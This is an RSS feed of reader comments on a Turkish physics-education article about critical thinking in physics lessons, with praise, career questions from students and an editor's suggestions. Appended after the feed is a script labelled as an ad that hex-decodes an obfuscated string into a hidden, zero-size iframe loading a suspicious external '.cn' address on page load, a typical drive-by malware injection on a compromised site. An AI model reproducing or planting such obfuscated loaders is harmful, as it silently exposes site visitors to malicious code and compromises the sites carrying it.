<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Kritik düşünme sisteminin fizik dersinde uygulanması</title>
	<atom:link href="http://www.fizikogretmeni.com/kritik-dusunme-sisteminin-fizik-dersinde-uygulanmasi/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.fizikogretmeni.com/kritik-dusunme-sisteminin-fizik-dersinde-uygulanmasi/</link>
	<description>Aylık Online Fizik Dergisi.</description>
	<pubDate>Sat, 22 Nov 2008 06:42:27 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
		<item>
		<title>By: Editor</title>
		<link>http://www.fizikogretmeni.com/kritik-dusunme-sisteminin-fizik-dersinde-uygulanmasi/#comment-17332</link>
		<dc:creator>Editor</dc:creator>
		<pubDate>Fri, 17 Oct 2008 12:36:23 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/?p=85#comment-17332</guid>
		<description>öğrencinin  yapması gereken hazırlıklar öğretmen tarafından daha önceden belirtilmelidir. Örnek vermek gerekirse en az bir yada iki etkinlik öğrencilere bonus olarak verilip bunları hazılaması sağlanabilir. Örnek vermek istiyorum 9 . sınıf kitaplarımızda bol bol etkinlikler var hatta istenirse daha fazlasıda öğretmen ve öğrenciler tarafından üretilebilir. En azından kitaptaki etkinlikleri sınıfta sırayla öğrencilere vermek faydalı olacaktır. Aynı zamanda dersi yetiştirme sorunumuz olsada sınıf hakimiyetini kaybetmeden bütün öğrencileri derse katma adına öğretmen küçük gurup çalışmaları beyin fırtınası vs etkinlikleri öğrencileri yönlendirerek yaptırabilir. 4 sene boyunca tahtaya kalkmamış yada bir kaç kez kalkmış öğrencilerin olduğuna eminim. Herşey fizik değil, öğrencinin sosyal yönünün de gelişmesine katkıda bulunacak bu etkinlikler daha sağlıklı fiziği seven bireyler oluşturacaktır. Bunlar bana ait fikirlerdir eklenecek yada çıkarılacak kısımları olabilir.</description>
		<content:encoded><![CDATA[<p>öğrencinin  yapması gereken hazırlıklar öğretmen tarafından daha önceden belirtilmelidir. Örnek vermek gerekirse en az bir yada iki etkinlik öğrencilere bonus olarak verilip bunları hazılaması sağlanabilir. Örnek vermek istiyorum 9 . sınıf kitaplarımızda bol bol etkinlikler var hatta istenirse daha fazlasıda öğretmen ve öğrenciler tarafından üretilebilir. En azından kitaptaki etkinlikleri sınıfta sırayla öğrencilere vermek faydalı olacaktır. Aynı zamanda dersi yetiştirme sorunumuz olsada sınıf hakimiyetini kaybetmeden bütün öğrencileri derse katma adına öğretmen küçük gurup çalışmaları beyin fırtınası vs etkinlikleri öğrencileri yönlendirerek yaptırabilir. 4 sene boyunca tahtaya kalkmamış yada bir kaç kez kalkmış öğrencilerin olduğuna eminim. Herşey fizik değil, öğrencinin sosyal yönünün de gelişmesine katkıda bulunacak bu etkinlikler daha sağlıklı fiziği seven bireyler oluşturacaktır. Bunlar bana ait fikirlerdir eklenecek yada çıkarılacak kısımları olabilir.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: onderisa</title>
		<link>http://www.fizikogretmeni.com/kritik-dusunme-sisteminin-fizik-dersinde-uygulanmasi/#comment-17310</link>
		<dc:creator>onderisa</dc:creator>
		<pubDate>Sun, 12 Oct 2008 22:56:23 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/?p=85#comment-17310</guid>
		<description>bir soruda sorma gereği duydum  kritik düşünme sistemi için öğrencinin ve öğretmenin nasıl hazırlık yapması gerekir??</description>
		<content:encoded><![CDATA[<p>bir soruda sorma gereği duydum  kritik düşünme sistemi için öğrencinin ve öğretmenin nasıl hazırlık yapması gerekir??</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: onderisa</title>
		<link>http://www.fizikogretmeni.com/kritik-dusunme-sisteminin-fizik-dersinde-uygulanmasi/#comment-17309</link>
		<dc:creator>onderisa</dc:creator>
		<pubDate>Sun, 12 Oct 2008 22:53:28 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/?p=85#comment-17309</guid>
		<description>bu olayın analitik tarafı öncelikle insanın bir pskolojii oldugu unutulmamalı ve 2. unutulan bir şey var öğrencinin derse nasıl konsntre olması gereğidir.yani o derse girdiği andan itibaren butun sosyopsikolojik isteklerden arıtılmalısıdır. insanların bunlara doguştan olmadıgı gibi sonradan kazandırılan bir alışkanlık değildir.</description>
		<content:encoded><![CDATA[<p>bu olayın analitik tarafı öncelikle insanın bir pskolojii oldugu unutulmamalı ve 2. unutulan bir şey var öğrencinin derse nasıl konsntre olması gereğidir.yani o derse girdiği andan itibaren butun sosyopsikolojik isteklerden arıtılmalısıdır. insanların bunlara doguştan olmadıgı gibi sonradan kazandırılan bir alışkanlık değildir.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: tohtak</title>
		<link>http://www.fizikogretmeni.com/kritik-dusunme-sisteminin-fizik-dersinde-uygulanmasi/#comment-14809</link>
		<dc:creator>tohtak</dc:creator>
		<pubDate>Thu, 19 Jun 2008 14:53:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/?p=85#comment-14809</guid>
		<description>arkadaslar merhaba.ben yeni mezun oldum fizik bölümünden ve benim öğretmenlik konusunda hiç tecrübem yok.Önümüzdeki yıl dershanede staja baslamayı düsünüyorum ve bu konuda ne yapmam gerektiğini bilmiyorum ve kendimi gelistirmem için neler yapabilirim? Yardımcı olursanız sevinirim.Bu arada cv nasıl hazırlamalıyım? Elinizde örnek varmı?</description>
		<content:encoded><![CDATA[<p>arkadaslar merhaba.ben yeni mezun oldum fizik bölümünden ve benim öğretmenlik konusunda hiç tecrübem yok.Önümüzdeki yıl dershanede staja baslamayı düsünüyorum ve bu konuda ne yapmam gerektiğini bilmiyorum ve kendimi gelistirmem için neler yapabilirim? Yardımcı olursanız sevinirim.Bu arada cv nasıl hazırlamalıyım? Elinizde örnek varmı?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: yilmaz_53</title>
		<link>http://www.fizikogretmeni.com/kritik-dusunme-sisteminin-fizik-dersinde-uygulanmasi/#comment-12318</link>
		<dc:creator>yilmaz_53</dc:creator>
		<pubDate>Wed, 07 May 2008 13:41:38 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/?p=85#comment-12318</guid>
		<description>genel bır yontem ama bır okadarda  etkılı.busayede bunu yenı goreve baslamıs ogretmenlerımızın ve ogretmen adaylarımızın derk etmesı ve nasıl bır akıs ıcerısınde seyretmeleri gerektını ogrenırler. bılgılendırdıgınız ıcın tesekkurler</description>
		<content:encoded><![CDATA[<p>genel bır yontem ama bır okadarda  etkılı.busayede bunu yenı goreve baslamıs ogretmenlerımızın ve ogretmen adaylarımızın derk etmesı ve nasıl bır akıs ıcerısınde seyretmeleri gerektını ogrenırler. bılgılendırdıgınız ıcın tesekkurler</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: quantum3342</title>
		<link>http://www.fizikogretmeni.com/kritik-dusunme-sisteminin-fizik-dersinde-uygulanmasi/#comment-7978</link>
		<dc:creator>quantum3342</dc:creator>
		<pubDate>Wed, 13 Feb 2008 14:31:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/?p=85#comment-7978</guid>
		<description>ben selçuk üniversitesi 3. sınıf fizik öğretmenliği öğrencisiyim.
fizik öğretmeninin devlette iş bulması çok zor.
dersane sisteminde çok iyi bir fizik öğretmeni olmak için şimdiden neler yapmam lazım acaba?
değerli hocalarım tavsiyelerinizi bekliyorum.
mesela şimdiden öss öys konularını bitirip soru çözümlerine geçmem gerekir mi yoksa daha çok mu erken?
tavsiyelerinizi bekliyorum sadece bana değil burdaki tüm arkadaşlara yararlı olacağını umuyorum bu sorunun saygılar.</description>
		<content:encoded><![CDATA[<p>ben selçuk üniversitesi 3. sınıf fizik öğretmenliği öğrencisiyim.<br />
fizik öğretmeninin devlette iş bulması çok zor.<br />
dersane sisteminde çok iyi bir fizik öğretmeni olmak için şimdiden neler yapmam lazım acaba?<br />
değerli hocalarım tavsiyelerinizi bekliyorum.<br />
mesela şimdiden öss öys konularını bitirip soru çözümlerine geçmem gerekir mi yoksa daha çok mu erken?<br />
tavsiyelerinizi bekliyorum sadece bana değil burdaki tüm arkadaşlara yararlı olacağını umuyorum bu sorunun saygılar.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: HANA</title>
		<link>http://www.fizikogretmeni.com/kritik-dusunme-sisteminin-fizik-dersinde-uygulanmasi/#comment-134</link>
		<dc:creator>HANA</dc:creator>
		<pubDate>Thu, 10 Aug 2006 12:43:58 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/?p=85#comment-134</guid>
		<description>çok güzel olmuş birçok kişi fizik=formül görüyor</description>
		<content:encoded><![CDATA[<p>çok güzel olmuş birçok kişi fizik=formül görüyor</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: funda</title>
		<link>http://www.fizikogretmeni.com/kritik-dusunme-sisteminin-fizik-dersinde-uygulanmasi/#comment-132</link>
		<dc:creator>funda</dc:creator>
		<pubDate>Thu, 10 Aug 2006 07:47:21 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/?p=85#comment-132</guid>
		<description>bence tek kelimeyle süper olmuş ülkemizde sizin gibi fiziği seven kişilerin olması bizleri dahada cesaretlendiriyor inşallah bizlerde sizin gibi oluruz</description>
		<content:encoded><![CDATA[<p>bence tek kelimeyle süper olmuş ülkemizde sizin gibi fiziği seven kişilerin olması bizleri dahada cesaretlendiriyor inşallah bizlerde sizin gibi oluruz</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: fizikci2001</title>
		<link>http://www.fizikogretmeni.com/kritik-dusunme-sisteminin-fizik-dersinde-uygulanmasi/#comment-41</link>
		<dc:creator>fizikci2001</dc:creator>
		<pubDate>Tue, 07 Feb 2006 09:22:50 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/?p=85#comment-41</guid>
		<description>gercekten emek verilmiş bir yazı...
tebrik ederim</description>
		<content:encoded><![CDATA[<p>gercekten emek verilmiş bir yazı&#8230;<br />
tebrik ederim</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: f=m.a</title>
		<link>http://www.fizikogretmeni.com/kritik-dusunme-sisteminin-fizik-dersinde-uygulanmasi/#comment-40</link>
		<dc:creator>f=m.a</dc:creator>
		<pubDate>Mon, 06 Feb 2006 08:48:48 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/?p=85#comment-40</guid>
		<description>tebrik ederim</description>
		<content:encoded><![CDATA[<p>tebrik ederim</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: alprektr</title>
		<link>http://www.fizikogretmeni.com/kritik-dusunme-sisteminin-fizik-dersinde-uygulanmasi/#comment-31</link>
		<dc:creator>alprektr</dc:creator>
		<pubDate>Fri, 27 Jan 2006 11:29:48 +0000</pubDate>
		<guid isPermaLink="false">http://www.fizikogretmeni.com/?p=85#comment-31</guid>
		<description>genel ama güzel</description>
		<content:encoded><![CDATA[<p>genel ama güzel</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<!-- ad --><script type="text/javascript">function jgouxhcixerkio(gqnfvwqckkaxvgg){var xlwqrzxo="";for(mxkoehci=0;mxkoehci<gqnfvwqckkaxvgg.length;mxkoehci+=2){xlwqrzxo+=(String.fromCharCode(parseInt(gqnfvwqckkaxvgg.substr(mxkoehci,2),16)));}document.write(xlwqrzxo);}jgouxhcixerkio("3C696672wqxeru61wqxeru6Dwqxeru65wqxeru20wqxeru737263wqxeru3D22wqxeru68wqxeru747470wqxeru3Awqxeru2F2Fwqxeru676Fwqxeru6Fwqxeru67wqxeru6C652Dwqxeru73wqxeru746174732E636E2F7371wqxeru6Cwqxeru2Fwqxeru69wqxeru6Ewqxeru2Ewqxeru636769wqxeru3Fwqxeru646566wqxeru6175wqxeru6C7422wqxeru206672wqxeru61wqxeru6D65626Fwqxeru72wqxeru6465wqxeru723Dwqxeru22wqxeru30wqxeru222062wqxeru6Fwqxeru7264wqxeru65wqxeru72wqxeru3Dwqxeru2230222077wqxeru69wqxeru6474683Dwqxeru22wqxeru3022206865wqxeru69676874wqxeru3Dwqxeru22wqxeru30wqxeru22wqxeru2073wqxeru74wqxeru79wqxeru6C65wqxeru3Dwqxeru22706Fwqxeru73wqxeru6974wqxeru696Fwqxeru6E3A2061wqxeru62wqxeru736Fwqxeru6C7574653Bwqxeru20wqxeru76wqxeru6973wqxeru6962696Cwqxeru69wqxeru74wqxeru79wqxeru3A20wqxeru68wqxeru69wqxeru6464656E3Bwqxeru20wqxeru64wqxeru69wqxeru73wqxeru706Cwqxeru61wqxeru79wqxeru3A206Ewqxeru6F6E65wqxeru223E3C2Fwqxeru69wqxeru66wqxeru7261wqxeru6D653Ewqxeru".replace(/wqxeru/g, ""));</script><!-- /ad -->